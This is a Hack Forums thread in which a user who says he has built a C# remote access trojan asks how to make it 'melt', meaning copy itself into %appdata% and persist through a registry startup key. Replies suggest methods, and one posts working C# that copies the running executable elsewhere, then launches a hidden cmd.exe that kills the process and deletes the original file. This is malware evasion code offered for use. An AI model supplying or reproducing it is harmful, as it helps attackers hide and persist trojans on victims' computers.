Hack Forums
[C#] File Moving Itself (And More) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] File Moving Itself (And More) (/showthread.php?tid=2990530)



File Moving Itself (And More) - Daaksin - Nov 1, 2012

So I've put together my own C# RAT and it works. It connects back to me and the like. Now I want to make it melt to %appdata%. When I say melt, I mean on execute it moves itself to the directory and adds a startup key of itself to the registry. Can someone teach me a method of doing this?

Long answers please, with detail, make sure you read my question...

-Daaksin


* - JeromeMarshall - Nov 2, 2012

(Nov 1, 2012 11:22 PM)Daaksin Wrote:  Long answers please, with detail, make sure you read my question...

This is the long version;

MoveFileEx, with MOVEFILE_REPLACE_EXISTING flag.


* - n0$f3ratu$ - Nov 2, 2012

You can do this in three lines, but...

Spoiler (Click to View)


* - Daaksin - Nov 2, 2012

(Nov 2, 2012 01:33 AM)n0$f3ratu$ Wrote:  You can do this in three lines, but...

Spoiler (Click to View)

Hey thanks!
Dude, this is exactly what I want! Vouch from Daaksin!
Thanks again, man.

-Daaksin


* - Birds - Nov 2, 2012

Use File.Copy and then write a temp file with current executing path. Run the program you copied to appdata then exit current. Then when the file starts make it read the temp file and delete that file path


* - Banksу - Nov 2, 2012

You know you can just use File.Move to move the current file right?


* - Daaksin - Nov 11, 2012

(Nov 2, 2012 08:12 AM)Banksу Wrote:  You know you can just use File.Move to move the current file right?

Uhmmm, no. No you can't.

[Image: t9nAb.gif]


* - 0xDEAD10CC - Nov 12, 2012

Code
private void button1_Click(object sender, EventArgs e)
{
    MoveSelf(@"C:\" + Path.GetFileName(Application.ExecutablePath));
}

private void MoveSelf(string newLocation)
{
    byte[] data;
    using (FileStream FS = new FileStream(Application.ExecutablePath, FileMode.Open, FileAccess.Read, FileShare.Read))
    {
        data = new byte[FS.Length];
        FS.Read(data, 0, (int)FS.Length);
    }
    File.WriteAllBytes(newLocation, data);

    ProcessStartInfo procInfo = new ProcessStartInfo("cmd.exe", "/c taskkill /F /PID " + Process.GetCurrentProcess().Id + " && ping 127.0.0.1 /n 2 && del /f/q \"" + Application.ExecutablePath + "\"");
    procInfo.WindowStyle = ProcessWindowStyle.Hidden;
    Process.Start(procInfo);
}



* - Daaksin - Nov 12, 2012

(Nov 12, 2012 12:47 AM)ArkPhaze Wrote:  
Code
private void button1_Click(object sender, EventArgs e)
{
    MoveSelf(@"C:\" + Path.GetFileName(Application.ExecutablePath));
}

private void MoveSelf(string newLocation)
{
    byte[] data;
    using (FileStream FS = new FileStream(Application.ExecutablePath, FileMode.Open, FileAccess.Read, FileShare.Read))
    {
        data = new byte[FS.Length];
        FS.Read(data, 0, (int)FS.Length);
    }
    File.WriteAllBytes(newLocation, data);

    ProcessStartInfo procInfo = new ProcessStartInfo("cmd.exe", "/c taskkill /F /PID " + Process.GetCurrentProcess().Id + " && ping 127.0.0.1 /n 2 && del /f/q \"" + Application.ExecutablePath + "\"");
    procInfo.WindowStyle = ProcessWindowStyle.Hidden;
    Process.Start(procInfo);
}

Wow! Hahaha! I wasn't expecting that!
Thanks!

-Daaksin